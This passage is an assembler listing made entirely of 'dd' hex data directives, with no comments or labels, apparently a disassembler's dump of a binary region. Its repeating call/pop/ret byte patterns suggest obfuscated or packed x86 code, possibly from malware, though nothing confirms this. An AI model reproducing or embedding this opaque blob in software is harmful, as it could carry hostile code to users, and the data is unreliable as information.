		dd 64299C8Ah, 6421C080h, 20B8C076h, 70E0C429h, 0CCACE257h
		dd 9FAF8851h, 344957D6h, 0E7A0C492h, 1A6A0205h,	97A07F1Ah
		dd 65FC3A8Eh, 404B1529h, 70DAC30Eh, 20A0CCA3h, 0E73D6F25h
		dd 0AD5497D8h, 9EC6572Dh, 0B55F4502h, 2608CD5Bh, 0A9504F4Fh
		dd 88A64911h, 72A0AE4Ch, 20A0C7CDh, 0E3FAE492h,	4F44D13h
		dd 4E445A0h, 20A0D856h,	0E3F28629h, 0BA81B0CCh,	1FB65344h
		dd 262FCB35h, 0A9A0C492h, 88AAA5FCh, 4D2503A2h,	2FA66C45h
		dd 4AA0C429h, 23489194h, 0A0C44Ah, 0A9FD0778h, 0A1A4E0FEh
		dd 35A4E00Dh, 65A0C4A4h, 74AE0707h, 28BD51A0h, 0D72AC23Ch
		dd 262D51B5h, 20CAC28Dh, 20A32CC4h, 7E80C449h, 54299A67h
		dd 6421C076h, 20BBC00Dh, 76E6C494h, 9F852D89h, 0D7A854C2h
		dd 0E921A22Fh, 0A529D2DFh, 2608DF75h, 0C8F2C438h, 20A0C42Ah
		dd 7A639EB4h, 248490C3h, 248480A4h, 20A0C488h, 1963960Bh
		dd 3B0F5E1Ch, 0A52BEEB3h, 2608DD88h, 967B5919h,	6329C2E1h
		dd 651D4924h, 0ADA66C9Ah, 8B1671FCh, 20937DA2h,	8453C452h
		dd 2018F7C2h, 2BA0C494h, 0E2A3B08Ah, 642BC43Dh,	0C8F3C8B6h
		dd 20A0C449h, 376345FFh, 0A9A0C452h, 0A9B0E075h, 7BB4E0D0h
		dd 8100F3F2h, 0AB403B25h, 0DFA4E0D6h, 2D1D4DA9h, 0ABA66CA3h
		dd 73A0AEA8h, 20A0C7C1h, 0E3FBE494h, 4FC4D11h, 4E44521h
		dd 20A0D896h, 0E3F38749h, 68525145h, 0C850D532h, 192D4FE4h
		dd 41A66CBAh, 0C8F3C420h, 20A0C426h, 7B639FB2h,	248498C0h
		dd 24848025h, 20A0C44Ah, 7263976Ah, 0E73E101h, 2DC17961h
		dd 9D2DC28Dh, 260B66B9h, 97FD49C4h, 1518C20Fh, 1338E2F9h
		dd 8893ADACh, 0E16FEF92h, 0C120CAA4h, 4A20A32Ch, 0E67D80C4h
		dd 0B64C2999h, 6D6421C0h, 0A420B4C0h, 0E983E5C4h, 8BA4F305h
		dd 55006AD9h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0CB0834C2h, 4291805Ch, 40E90170h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0A2DEC350h, 2F8365E2h, 606E90BDh,	6161EFB1h
		dd 10E9h, 2F5B3E00h, 1EBDE525h,	20ADBD5Ah, 0D991D965h
		dd 8BF5C365h, 8E0F60C0h, 3, 0E8D8B70Fh,	8, 88A82DFFh, 92654B8Eh
		dd 83615FF9h, 0A81ED9BDh, 9750006h, 2DE9BD83h, 740006A8h
		dd 8B535019h, 4B9B8C0h,	85890000h, 6A80FD5h, 0A2139D8Dh
		dd 0D3FF06AAh, 0BD83585Bh, 6A82DE9h, 50177400h,	4B9B853h
		dd 85890000h, 6A80FD5h,	9EB49D8Dh, 0D3FF06AAh, 8B0F585Bh
		dd 1, 56006AF5h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 70F80EB5h, 3F4D3947h, 6AC08B41h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 59E6C355h, 40283422h, 0BD8BC18Bh,	6A81769h
		dd 4EBh, 8F0F0000h, 0Ch, 68C0Fh, 9D090000h, 6A81B19h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 2AC35343h, 5548FD3Ch
		dd 3385858Dh, 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 66C8F0C3h, 59FEEE81h, 8B665090h
		dd 6A90FBh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0BD039AC3h, 6A8062Dh, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 6E333FC3h
		dd 8FE03DF1h, 6A006ABDh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0B67DC357h,	0BFDC4607h
		dd 5222DB54h, 0EFD68166h, 0BD095E5Eh, 6A801A5h,	11E9h
		dd 401B7000h, 0A2AA8BFh, 55F37F80h, 47740614h, 858D740Dh
		dd 6ABBAD8h, 5C083F9h, 7E990h, 989D0000h, 0A0228DF2h, 536050D2h
		dd 10E9h, 0DEDC1700h, 0B995610h, 9C129301h, 9DF08CA0h
		dd 50505F8Eh, 5A310F52h, 90615F58h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 38C35747h, 337C87AEh, 60B97C95h
		dd 0AADBD89h, 8D8906A8h, 6A8144Dh, 6A006A61h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0AD0AC350h, 90879237h, 3AFF9A68h
		dd 0CE9BD8Bh, 6A06A8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 75C35747h, 0CCD7D5h, 8AAC5E5Eh, 254195FFh
		dd 958906A8h, 6A80651h,	8C7F9D8Dh, 958906ABh, 6A80BF9h
		dd 6AD3FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0B9D9BDC3h, 0FB057148h, 0EE93FEEh, 64000000h
		dd 0D219113Bh, 7795630h, 0B5189893h, 0F8B70F80h, 33F185FFh
		dd 6A06A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 69DDEAC3h, 96D52A95h, 0B7BF66B3h,	651E9EBh
		dd 0E80000h, 5D000000h,	0BAE2ED81h, 6A06ABh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 5387EBC3h
		dd 0B3ABBF66h, 176DBD81h, 7D006A8h, 860F0000h, 112h, 799B58Bh
		dd 9D8B06A8h, 6A8251Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 1CC35040h, 5E94Ch, 0FBB80000h, 817D24D3h
		dd 100E3h, 29B52300h, 6606A822h, 0D277CE81h, 850FDB0Bh
		dd 89h,	0B8A5BD83h, 0F0006ABh, 4A84h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
		dd 0CED3C5DFh, 16EA5EF4h, 0F60DB94h, 685h, 0D858B00h, 8906A81Fh
		dd 0A814D18Dh, 8D296106h, 6A82FADh, 67E9h, 3D9D2900h, 0C706A825h
		dd 0ABB8A585h, 106h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0BD8BAA4Bh, 6A814C5h
		dd 2FE9h, 0A585C700h, 6ABB8h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0C369C350h
		dd 165B5768h, 7028C75Bh, 251D9D8Dh, 238106A8h, 0FFFFFEFFh
		dd 8C66F98Bh, 51006ADBh, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 0B926EFA0h, 4C3F6F9h, 0AC840Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 7F9880C3h, 47BE669Bh, 8D95FF52h, 6A06A806h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 2399C353h, 737B769Eh, 0CDB58B43h, 0BF06A806h, 68B4A107h
		dd 0F88B6650h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0E24CC357h,	1BA18531h
		dd 0E85706A8h, 6, 53312637h, 12E8DBE5h,	10000000h, 0A4B1DE5Fh
		dd 60EF8ADAh, 5F802A7Eh, 0ECD508CEh, 5F5E5F32h,	17DBD8Bh
		dd 56E906A8h, 0F8000003h, 0BD8900B0h, 6A80DD9h,	71E470E6h
		dd 208B0Fh, 0BE80000h, 0F8000000h, 33821518h, 1B747AC3h
		dd 0AE99A74h, 0CB000000h, 0ECF67B0Bh, 38971045h, 0B60F5F66h
		dd 26D5BED8h, 6BA3818h,	23000000h, 0A817EDBDh, 6AC38B06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 4C71C351h, 0D08FDDC8h, 6604E8C1h,	669873BEh
		dd 800FE2F7h, 0Eh, 5E8h, 90D06E00h, 8B66A2BBh, 0D82B5EFEh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0A8C35141h
		dd 0F3F08240h, 571DD274h, 0B9666036h, 0AE92C91h, 0EC000000h
		dd 89394BC2h, 0C377655Eh, 8B66611Eh, 0BF6650F0h, 1C891165h
		dd 56006A24h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 86572D7Ch, 2F61BD89h, 870F06A8h,	6, 1441B58Bh
		dd 0B5FF06A8h, 6A8176Dh, 95FFF78Bh, 6A81B31h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0C5C35646h, 0A9779B0Fh
		dd 0D9B589C0h, 0B006A80Dh, 19958900h, 0E606A807h, 0A1BD8B70h
		dd 2B06A833h, 0A83241B5h, 6071E406h, 0FF78B66h,	2961DFB7h
		dd 0A821DDBDh, 0F613C06h, 1F483h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 12E2B1F4h
		dd 8C395415h, 300DB58Bh, 0B60F06A8h, 57006AD8h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 1A466DE2h
		dd 0A6BCC43Eh, 0ECD7816Eh, 0BA1EAAE3h, 6, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ch, 95C35242h, 0DFE30BF3h
		dd 0D7A1299h, 1A098D89h, 0C38B06A8h, 27758509h,	0E8C106A8h
		dd 52006A04h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0AC32771Eh, 0EE9DEh, 355E0000h, 63C5AF24h
		dd 71D07543h, 52EA32BDh, 0E9E2F766h, 0Fh, 862EF6FDh, 9E05D2ACh
		dd 74723EA0h, 2B341793h, 58FA8BD8h, 3375BD03h, 0D82B06A8h
		dd 107880Fh, 0FE90000h,	48000000h, 0D8B71C58h, 0CB026C4h
		dd 713F3D56h, 7B92CF2h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 2CDAC351h
		dd 0B0E651F7h, 6830F4Ch, 1000000h, 0A826CD8Dh, 0D1BD8B06h
		dd 8306A80Dh, 0B70F00C1h, 3D8589F8h, 3B06A81Dh,	0A6860FD9h
		dd 8B000000h, 0D98C66FAh, 0F6F98B66h, 840F04C1h, 90h, 2E7D8D89h
		dd 95FF06A8h, 6A8068Dh,	14E68166h, 6A5BE6h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 748FA1C3h
		dd 2BC76A5Eh, 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0A362D159h, 0D75BC68Fh, 8343DFCh
		dd 860F0000h, 2Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 69C35545h, 4E9626C2h,	35BE5D32h, 0E973E1E0h
		dd 5, 0B70FC08Bh, 8BC38BFBh, 659D29D8h,	0C706A801h, 0A8302185h
		dd 0CFAFD506h, 57006A18h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 643E3A4Ah, 2482AC96h
		dd 89BD8B42h, 8906A833h, 0A8009D85h, 81C08B06h,	0A8176DBDh
		dd 7D006h, 29850F00h, 0BE000000h, 56B893D2h, 176D85FFh
		dd 6A06A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 10F765C3h, 176DB5FFh, 0BD8906A8h,	6A815E1h
		dd 1B3195FFh, 6A06A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 830ECEC3h, 0C6CEF54Eh, 68BE66D4h
		dd 0BB47BFFDh, 0B8907F0Fh, 12345678h, 0C11E9D8Dh, 0AFE906ABh
		dd 8BFFFFF9h, 57006AC1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 21F7FCEAh, 511C3C3Bh, 415CC781h
		dd 0EB5F635Bh, 4, 10E96000h, 1000000h, 97C06173h, 76CA2AE8h
		dd 0B69C08CFh, 0E9D4D420h, 8, 86183391h, 0E75F6FE6h, 0EBF8BE61h
		dd 0EE81742Ch, 0EAE90EAh, 3385858Dh, 0BE6606A8h, 609083D4h
		dd 6D9BBA66h, 0F905061h, 686h, 20D68100h, 6A0BF040h, 0CE900h
		dd 3DB70000h, 8D640B96h, 6ACE9154h, 6AD297h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 9DC35141h, 0A5D573B5h
		dd 8DFFFF45h, 0ABC2ED85h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 64323F68h
		dd 9D01524Ah, 6A80E39h,	9005C083h, 5E850h, 4BD10000h, 5F2733A6h
		dd 50006A90h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
		dd 0FAA7C8E6h, 7B32943Fh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 666078C3h, 0C15EE81h
		dd 1C098509h, 606106A8h, 0E719D23h, 8D8906A8h, 6A81F81h
		dd 0FF006A61h, 0A8254195h, 880F06h, 8D000000h, 0AB8C7F9Dh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 8997E74Ch, 6AD3FF3Ch, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 9AAFC355h
		dd 0B58B528Ch, 6A809B5h, 2B61B50Bh, 85FF06A8h, 6A833F1h
		dd 0ED46E781h, 0BDE91C48h, 0E800000Dh, 0
		dd 0F7ED815Dh, 8106ABC2h, 0A8176DBDh, 7D006h, 0E8860F00h
		dd 89000000h, 0A80DD985h, 4D9D8B06h, 0E906A81Eh, 12h, 0F45E76FBh
		dd 3793942Eh, 0A79A0028h, 0AE093BBCh, 0E381FE06h, 100h
		dd 210D8D89h, 0DB0B06A8h, 56850Fh, 0BD830000h, 6ABC15Ch
		dd 11840F00h, 89000000h, 0A8276985h, 4EE906h, 0B5310000h
		dd 6A82115h, 0C15C85C7h, 106ABh, 14E80000h, 0EC000000h
		dd 84429DDCh, 45F9629h,	9F0D283Ah, 0AE1BE6AAh, 66D93380h
		dd 90AACF81h, 0FDB5895Eh, 0E906A810h, 14h, 0B838BF66h
		dd 0C15C85C7h, 6ABh, 0B58B0000h, 6A8333Dh, 1E4D9D8Dh, 238106A8h
		dd 0FFFFFEFFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	43C35747h, 2391E3A5h, 89005316h, 0A81E2DBDh, 0CE806h
		dd 0BEB90000h, 3AEDF738h, 662D25E7h, 0BE662756h, 665F822Fh
		dd 6ADB8Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 427842C3h, 66F42C91h, 477BC681h, 0F04C3F6h
		dd 4E84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0FEBF0F52h, 68D95FFh, 7E906A8h, 0FA000000h
		dd 7692347Ch, 669091E7h, 0E950F28Bh, 0Eh, 0D5DDBE84h, 0D8A3C5EFh
		dd 73A36620h, 66908AEBh, 0E90659BEh, 491h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0DC35040h, 0E963CB4Dh
		dd 870F7ABDh, 16h, 10E8h, 6A111A00h, 0D8EF32E0h, 763BB3CCh
		dd 6F53139Eh, 0B05FE2h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 58C35040h, 55173A7Dh,	20993D20h, 0C78166D1h
		dd 70E60E29h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 16h,	29C35545h, 853132CCh, 6A83495h,	6A71E4h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 691D84C3h, 1539BD8Bh, 0B60F06A8h, 51006AD8h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0A4968C1Eh
		dd 0BAF51F41h, 6, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	6CC35646h, 0C80BDA87h, 10D709D2h, 8BF78B66h, 51006AC3h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0DBF36512h, 8B0618B3h, 0A805F9BDh, 4E8C106h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 7AC35646h, 0BF0D38C4h
		dd 62AC177Fh, 6AE2F766h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0CE81C356h,	89BCE59Ah
		dd 0A828C1BDh, 89D82B06h, 0A83189B5h, 0E9609306h, 8, 47A3DAAFh
		dd 99066372h, 0E9565061h, 7, 0D6AC4A06h, 5E0425ECh, 51006A93h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 94B9DD3Ah, 8166D904h, 0F8C7DFD6h, 176DB5FFh,	0BD8906A8h
		dd 6A81B29h, 1B3195FFh,	6A06A8h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 8E811C3h, 12000000h
		dd 9851711Ch, 0F5E8D76h, 188Ch,	13E900h, 6C5E0000h, 4ADC0323h
		dd 0A675415Ah, 0FFD74EB5h, 5000BE51h, 0B05E63h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 3BC35545h, 8BDF1DCAh
		dd 0A819A5BDh, 65958906h, 0E606A80Eh, 0CFF68170h, 0E4648F85h
		dd 0F613C71h, 22883h, 0B9B58B00h, 0F06A826h, 6AD8B6h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 664787C3h, 3EDA0068h, 0FDBD8B84h, 0BA06A810h, 6, 6E9h
		dd 0BD89A600h, 0E8C99A5Ah, 13h,	0C4A77263h, 76E12F17h
		dd 72C5DC34h, 0F9E8DC69h, 8B416102h, 0A81B19B5h, 0C38B5F06h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 79C35141h
		dd 9D899255h, 6A81A99h,	0B04E8C1h, 0A82619BDh, 0E2F76606h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 84C35545h
		dd 0BF32304Eh, 1F821874h, 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0A61725C3h, 0A5BD8B47h
		dd 5806A801h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Dh,	0A9C35242h, 0A85B4148h,	0D9DC8896h, 0FD82BFAh
		dd 11C88h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 2DBD8BC8h, 8B06A806h, 0A832D9B5h
		dd 7B906h, 8B660000h, 0C183F3h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0C5C35141h,	6092A377h, 8E98503h
		dd 0BF0F06A8h, 0D93B61CBh, 0B7860Fh, 39BF0000h,	661F0EC5h
		dd 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 1DC4A5C3h, 0F04C1F6h, 8284h, 8E900h, 4A420000h
		dd 0E5B4D440h, 95FF7D16h, 6A8068Dh, 7CE78166h, 0F38B5B5Eh
		dd 6AC32Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0FBB1DFC3h, 9FE42BFAh, 818BBF3Bh,	343D1E1Ah
		dd 0F000008h, 3286h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0E4A0C4A2h, 0E940D9B2h
		dd 11h,	0AEEE8166h, 45BD8BDAh, 8B06A80Fh, 0F0BF66C0h, 8BC38BEEh
		dd 57006AD8h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 84F0BD4Fh, 9AF3EE67h, 0BE66B088h, 870FAF72h
		dd 6, 2C45B58Bh, 85C706A8h, 6A8251Dh, 330705DDh, 2C798D29h
		dd 0C08B06A8h, 176DBD81h, 7D006A8h, 850F0000h, 1Bh, 0BE9h
		dd 81C7AA00h, 0B95A5241h, 0AD5B68Bh, 176D85FFh,	89BF06A8h
		dd 0FF35C8E7h, 0A8176DB5h, 0E9FB8B06h, 5, 640012CFh, 3195FF20h
		dd 8906A81Bh, 0A82EB995h, 119D2906h, 9006A806h,	53006A40h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0EA9825F8h, 817BCC00h, 2201BD83h, 0F0006A8h,	0D384h
		dd 21B58B00h, 8306A807h, 0A81FE5BDh, 840F0006h,	0C0h, 5F1BD03h
		dd 95FF06A8h, 6A82201h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0D4C35141h, 0C317B8ACh, 9D89F9FEh, 6A80C3Dh
		dd 840FC00Bh, 84h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0C35747h, 0F0B70F43h,	4FAF8D8Dh, 6A06A8h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0B20417C3h, 73EFF3B9h, 8964F177h, 0A81FBD9Dh, 5B806h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 49EBC8C3h, 443050D7h, 0DCE8166h, 66E1FFD4h
		dd 0E272D681h, 3125BD83h, 0F0006A8h, 5AF84h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 7C3AEDCh, 57C3FECDh,	0B529764Ch, 6A81489h, 83FFBF0Fh
		dd 0A81FE5BDh, 840F0006h, 574h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 67C35747h, 0E98CC7EFh
		dd 8DA6EE70h, 0A8314D8Dh, 31576006h, 0A832A5BDh, 0E8605E06h
		dd 0Eh,	2E624A14h, 0D4915A3Ah, 557335D7h, 0E85AD094h, 0Ch
		dd 7C3AEDCh, 57C3FECDh,	8AE9764Ch, 0C761615Eh, 0B27C8401h
		dd 0C5BD8B44h, 8106A830h, 99CFCB01h, 0CE814h, 2F910000h
		dd 2C1963BBh, 86C39F3Ch, 85BEE62Fh, 5E44EB4Ch, 340441C7h
		dd 1CE706Bh, 0A8096D85h, 4418106h, 31D6D710h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 1DC35646h, 8B266121h
		dd 73594925h, 58576060h, 75D8589h, 96106A8h, 0A81B1DBDh
		dd 6A6106h, 314D858Dh, 952906A8h, 6A80DEDh, 0FB8B6650h
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0FFCEC351h, 0A8312595h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 4F2CF271h, 314D8D8Dh, 0B58906A8h, 6A83399h, 1C7h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0E980A3C3h, 0Dh, 2AE0D31h, 65EF7550h, 90F9F6CEh, 441C7EAh
		dd 0
		dd 19918D09h, 816606A8h, 0B3DC2E7h, 5B840FC0h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 89A1C356h, 0A814C985h, 0AF8D8D06h, 6A06A84Fh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 49A2C351h, 192165F8h, 60F18B66h, 5B861h
		dd 0E1FF0000h, 33D18D89h, 8D8D06A8h, 6A8314Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 5FC35343h, 0D27F99A2h
		dd 5D58D29h, 1C706A8h, 44AA727Ch, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 2AC35141h, 0A593C264h, 0EC3D4573h
		dd 0CFCB0181h, 6A1499h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 55199AC3h, 41C760B2h, 78753C04h
		dd 44181CEh, 31D6D710h,	14E9h, 29511000h, 7F03F499h, 34396C1Ch
		dd 0DDDC2C39h, 1138083Bh, 259D89F8h, 6A06A805h,	50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 4D858D1Fh, 5006A831h, 13E860h, 89A40000h, 18588413h
		dd 0C8902775h, 209670A1h, 49C398F4h, 0C78A5B1Fh, 24048961h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 36C35545h
		dd 0F540C054h, 312595FFh, 858906A8h, 6A809A9h, 314D8D8Dh
		dd 6A06A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 1C79DC3h,	0
		dd 68B0Fh, 0BD010000h, 6A80E6Dh, 441C7h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0E3B3C353h, 51E660C7h, 0B063DA7h, 42840FC0h,	89000000h
		dd 0A83279B5h, 0AF8D8D06h, 8B06A84Fh, 0A81AA1BDh, 5B806h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 815CFCC3h, 4B5B22EEh, 89E1FF18h, 0A822D9BDh
		dd 4D8D8D06h, 6A06A831h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 284CC353h, 1C774DFh
		dd 54CA95A5h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ah,	67C35747h, 5FA5E7BAh, 181821Dh,	1499CFCBh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 2CC35343h, 0A19A0288h
		dd 0A97D4192h, 49BD336Eh, 0C706A81Bh, 59690441h, 153CE5Fh
		dd 0A82E158Dh, 41815F06h, 0D6D71004h, 8D006A31h, 0A8314D85h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 0EE85CB2Fh, 5050B561h, 5A310F52h, 24048958h
		dd 13E957h, 0A3850000h,	46A0D618h, 0DF30D117h, 17F5E18Ch
		dd 95A779B6h, 95FF5FD8h, 6A83125h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 10C35242h, 6FEE8166h, 85B58B8Fh
		dd 8D06A800h, 0A8314D8Dh, 68E0F06h, 89000000h, 0A8333D8Dh
		dd 1C706h, 0C7000000h, 441h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 917032C3h
		dd 0A2121192h, 0EE88Eh,	6DD90000h, 720457ABh, 9C82F492h
		dd 2E43030h, 30B5BD0Bh,	0B5E06A8h, 65840FC0h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 53ECC351h, 0F207E36h, 189h, 8D8DF500h, 6A84FAFh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 57C35545h
		dd 849AF7EFh, 34D58D89h, 5B806A8h, 66000000h, 8D2BCE81h
		dd 9D89E1FFh, 6A8025Dh,	84E9CA03h, 60FFFFF2h, 2A1D9589h
		dd 515606A8h, 8B615F5Fh, 0A82E41B5h, 29800F06h,	0F000000h
		dd 485h, 79BE6600h, 11E853B8h, 54000000h, 877FB406h, 4C2F0C37h
		dd 0C6687C2Eh, 420B045Eh, 800F5Eh, 5E000000h, 6AC18Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0CE8B11C3h, 12E9BCh,	0B53E0000h, 2C977456h, 13F33D42h
		dd 9D282A56h, 5F2067B6h, 4EBh, 6A0000h,	3E852h,	5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 2E3CCDC3h
		dd 0EDFDEB2Ch, 858DF578h, 6A83385h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 28C35646h, 50907B55h, 2AD68190h
		dd 6A6E4AFDh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 75514423h, 19C8F836h, 0BF66568Bh
		dd 6AB7F1h, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
